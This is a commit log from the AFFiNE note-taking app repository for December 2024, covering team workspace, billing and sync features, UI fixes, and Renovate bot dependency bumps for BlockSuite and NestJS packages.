0c0722c650 feat(nbstore): add blob sync frontend (#9084) 2024-12-11 12:39:26 +00:00
liuyi
a67fbc9448 ci: fix release script (#9107) 2024-12-11 11:18:13 +00:00
pengx17
01effaa0f1 fix(core): doc header drag preview styles (#9105) 2024-12-11 10:34:58 +00:00
DarkSky
9b0f1bb293 feat(server): improve team invite (#9092) 2024-12-11 18:00:49 +08:00
liuyi
671c41cb1a fix(server): should drop blob steam if not used (#9103) 2024-12-11 17:59:59 +08:00
JimmFly
4eb31444a9 fix(core): optimize upgrade to team page (#9099) 2024-12-11 17:59:46 +08:00
Peng Xiao
b864cbf9d3 fix(core): backlink preview should use sans font family (#9102) 2024-12-11 17:59:04 +08:00
pengx17
dc7d128252 feat(core): allow bs snapshot dragging targets (#9093)
fix AF-1924, AF-1848, AF-1928, AF-1931

dnd between affine & editor

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/dff3ceb1-dc82-4222-9b55-13be80b28b2f.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/dff3ceb1-dc82-4222-9b55-13be80b28b2f.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/dff3ceb1-dc82-4222-9b55-13be80b28b2f.mp4">20241210-1217-49.8960381.mp4</video>
2024-12-11 08:12:01 +00:00
EYHN
331e674e8b feat(nbstore): add doc sync frontend (#9070) 2024-12-11 07:53:25 +00:00
forehalo
eee0ed45ee chore: selfhost compose backward compatibility (#9098) 2024-12-11 06:24:53 +00:00
JimmFly
216e09e1af feat(core): add workspace quota panel for team workspace (#9085)
close AF-1917 AF-1685 AF-1730
2024-12-10 12:32:01 +00:00
JimmFly
f63dacd553 fix(core): workspace billing cannot be opened (#9091) 2024-12-10 12:14:59 +00:00
forehalo
2f80b4f822 feat(nbstore): add cloud implementation (#8810) 2024-12-10 10:48:27 +00:00
liuyi
1721875ab6 fix(server): minize checkout parameters (#9090) 2024-12-10 08:24:28 +00:00
EYHN
18d65dff0e fix(core): share page show 404 (#9083) 2024-12-10 07:43:31 +00:00
github-actions[bot]
ffad1155ff chore(i18n): sync translations (#9089)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: forehalo <forehalo@gmail.com>
2024-12-10 07:43:14 +00:00
liuyi
c0938bd0d5 chore(server): team free trial control logic is not ready (#9088) 2024-12-10 15:36:27 +08:00
forehalo
9780ab6fa2 chore: fix oxlint (#9086) 2024-12-10 07:04:57 +00:00
EYHN
35edf389b5 feat(nbstore): better doc sync logic (#9037) 2024-12-10 06:49:21 +00:00
JimmFly
0a7a2c3083 feat(core): add workspace billing (#9043) 2024-12-10 06:31:36 +00:00
JimmFly
612310bc26 feat(core): impl team workspace (#8920)
AF-1738 AF-1735 AF-1731 AF-1721 AF-1717 AF-1736 AF-1727 AF-1719 AF-1877
UI for team workspaces :
- add upgrade to team & successful upgrade page ( `/upgrade-to-team` & `/upgrade-success/team`)
- update team plans on pricing page ( settings —> pricing plans )
- update reaching the usage/member limit modal
- update invite member modal
- update member CRUD options
2024-12-10 06:31:36 +00:00
forehalo
5d25580eff chore(graphql): update schema 2024-12-10 14:31:03 +08:00
forehalo
564faa439a fix(server): should auto apply ea price for users (#9082) 2024-12-10 05:31:19 +00:00
darkskygit
36a95463b4 feat(server): team quota migration (#9081) 2024-12-10 04:46:11 +00:00
Brooooooklyn
adc69548ef feat(ios,android): setup uniffi infra (#8828) 2024-12-10 03:43:35 +00:00
liuyi
95597ec139 chore(server): local data migration env (#9080) 2024-12-10 03:42:59 +00:00
darkskygit
4d44bcc145 fix(server): image action behavior in ci (#9077) 2024-12-10 02:54:31 +00:00
pengx17
ec140da0d9 feat(core): remember backlink open/close state (#9073)
fix AF-1850, AF-1883
2024-12-10 02:28:20 +00:00
pengx17
4335b0dc79 feat(core): add draghandle to doc page title (#9079)
fix AF-1846
2024-12-10 02:13:09 +00:00
forehalo
115caa7cc6 fix(server): wrong stripe checkout params (#9056) 2024-12-10 01:56:58 +00:00
L-Sun
720f6c6a58 chore(mobile): set doc readonly in edgeless mode (#9068)
Close [BS-1984](https://linear.app/affine-design/issue/BS-1984/edgeless-禁用编辑后,白板上,image-block-chat-block-可以移动), [BS-1918](https://linear.app/affine-design/issue/BS-1918/edgeless-移动端只读模式下,应当是单指移动,双指缩放), [BS-2035](https://linear.app/affine-design/issue/BS-2035/切换-edgeless-view-变为只读)
2024-12-10 01:39:30 +00:00
forehalo
1514e1269d fix: add explicit db name and user to pg_isready check
commit 783fd4d5f3
Author: forehalo <forehalo@gmail.com>
Date:   Mon Dec 9 20:55:43 2024 +0800

    chore: fix lint error

commit 0cf3740488
Author: Charles SENGES <charles.senges.io+github@protonmail.com>
Date:   Sun Dec 8 01:05:36 2024 +0100

    fix(compose.yaml): add explicit db name and user to pg_isready check
2024-12-10 09:38:19 +08:00
renovate
b55ec58bb8 chore: bump up @blocksuite/affine version to v0.18.5 (#9078)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.4` -> `0.18.5`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.4/0.18.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.4/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.4/0.18.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.5`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0185)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.4...v0.18.5)

##### Patch Changes

-   [`ec2956c`](https://redirect.github.com/toeverything/blocksuite/commit/ec2956c): ## Feat

    -   feat: api for encode and decode dnd data ([#&#8203;8909](https://redirect.github.com/toeverything/blocksuite/issues/8909))
    -   feat(blocks): add event tracking for linked doc ([#&#8203;8876](https://redirect.github.com/toeverything/blocksuite/issues/8876))
    -   feat(playground): outside click to close docs panel ([#&#8203;8885](https://redirect.github.com/toeverything/blocksuite/issues/8885))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-09 13:18:12 +00:00
renovate
1673a59104 chore: bump up nestjs to v10.4.15 (#9075)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-09 13:01:07 +00:00
renovate
6c2cb47dbe chore: bump up nestjs (#9074)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/schedule](https://redirect.github.com/nestjs/schedule) | [`4.1.1` -> `4.1.2`](https://renovatebot.com/diffs/npm/@nestjs%2fschedule/4.1.1/4.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fschedule/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fschedule/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fschedule/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fschedule/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.13` -> `10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.13/10.4.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.13/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](1d457fe79f...d0fb875e23)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](1d457fe79f...d0fb875e23)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](1d457fe79f...d0fb875e23)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](1d457fe79f...d0fb875e23)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/schedule (@&#8203;nestjs/schedule)</summary>

### [`v4.1.2`](https://redirect.github.com/nestjs/schedule/releases/tag/4.1.2)

[Compare Source](https://redirect.github.com/nestjs/schedule/compare/4.1.1...4.1.2)

-   Merge pull request [#&#8203;1834](https://redirect.github.com/nestjs/schedule/issues/1834) from micalevisk/fix-issue-1833 ([`25a0ca9`](https://redirect.github.com/nestjs/schedule/commit/25a0ca9))
-   refactor: drop deprecated nodejs utility api ([`088674f`](https://redirect.github.com/nestjs/schedule/commit/088674f))
-   chore(deps): update dependency prettier to v3.4.2 ([#&#8203;1832](https://redirect.github.com/nestjs/schedule/issues/1832)) ([`42600c0`](https://redirect.github.com/nestjs/schedule/commit/42600c0))
-   chore(deps): update nest monorepo to v10.4.13 ([#&#8203;1831](https://redirect.github.com/nestjs/schedule/issues/1831)) ([`58b28ba`](https://redirect.github.com/nestjs/schedule/commit/58b28ba))
-   chore(deps): update typescript-eslint monorepo to v8.17.0 ([#&#8203;1830](https://redirect.github.com/nestjs/schedule/issues/1830)) ([`36bda2d`](https://redirect.github.com/nestjs/schedule/commit/36bda2d))
-   chore(deps): update dependency eslint to v9.16.0 ([#&#8203;1829](https://redirect.github.com/nestjs/schedule/issues/1829)) ([`97be309`](https://redirect.github.com/nestjs/schedule/commit/97be309))
-   chore(deps): update nest monorepo to v10.4.12 ([#&#8203;1828](https://redirect.github.com/nestjs/schedule/issues/1828)) ([`3bef9ec`](https://redirect.github.com/nestjs/schedule/commit/3bef9ec))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.1 ([#&#8203;1827](https://redirect.github.com/nestjs/schedule/issues/1827)) ([`ac01b10`](https://redirect.github.com/nestjs/schedule/commit/ac01b10))
-   chore(deps): update nest monorepo to v10.4.11 ([#&#8203;1826](https://redirect.github.com/nestjs/schedule/issues/1826)) ([`40f132a`](https://redirect.github.com/nestjs/schedule/commit/40f132a))
-   chore(deps): update dependency prettier to v3.4.1 ([#&#8203;1825](https://redirect.github.com/nestjs/schedule/issues/1825)) ([`ed162b9`](https://redirect.github.com/nestjs/schedule/commit/ed162b9))
-   chore(deps): update dependency prettier to v3.4.0 ([#&#8203;1824](https://redirect.github.com/nestjs/schedule/issues/1824)) ([`5ebb711`](https://redirect.github.com/nestjs/schedule/commit/5ebb711))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.0 ([#&#8203;1823](https://redirect.github.com/nestjs/schedule/issues/1823)) ([`c6f82ac`](https://redirect.github.com/nestjs/schedule/commit/c6f82ac))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.4 ([#&#8203;1822](https://redirect.github.com/nestjs/schedule/issues/1822)) ([`7f0d064`](https://redirect.github.com/nestjs/schedule/commit/7f0d064))
-   chore(deps): update typescript-eslint monorepo to v8.16.0 ([#&#8203;1821](https://redirect.github.com/nestjs/schedule/issues/1821)) ([`83a35b4`](https://redirect.github.com/nestjs/schedule/commit/83a35b4))
-   chore(deps): update nest monorepo to v10.4.9 ([#&#8203;1820](https://redirect.github.com/nestjs/schedule/issues/1820)) ([`f9e64d8`](https://redirect.github.com/nestjs/schedule/commit/f9e64d8))
-   Merge pull request [#&#8203;1801](https://redirect.github.com/nestjs/schedule/issues/1801) from nestjs/renovate/cron-3.x ([`cb158cc`](https://redirect.github.com/nestjs/schedule/commit/cb158cc))
-   fix(deps): update dependency cron to v3.2.1 ([`f88e263`](https://redirect.github.com/nestjs/schedule/commit/f88e263))
-   Merge pull request [#&#8203;1808](https://redirect.github.com/nestjs/schedule/issues/1808) from nestjs/renovate/uuid-11.x ([`35f6eb4`](https://redirect.github.com/nestjs/schedule/commit/35f6eb4))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.3 ([#&#8203;1819](https://redirect.github.com/nestjs/schedule/issues/1819)) ([`a0b8782`](https://redirect.github.com/nestjs/schedule/commit/a0b8782))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.2 ([#&#8203;1818](https://redirect.github.com/nestjs/schedule/issues/1818)) ([`4b48c1e`](https://redirect.github.com/nestjs/schedule/commit/4b48c1e))
-   chore(deps): update dependency typescript to v5.7.2 ([#&#8203;1817](https://redirect.github.com/nestjs/schedule/issues/1817)) ([`d708b47`](https://redirect.github.com/nestjs/schedule/commit/d708b47))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.1 ([#&#8203;1816](https://redirect.github.com/nestjs/schedule/issues/1816)) ([`227763c`](https://redirect.github.com/nestjs/schedule/commit/227763c))
-   chore(deps): update commitlint monorepo to v19.6.0 ([#&#8203;1815](https://redirect.github.com/nestjs/schedule/issues/1815)) ([`dd6748b`](https://redirect.github.com/nestjs/schedule/commit/dd6748b))
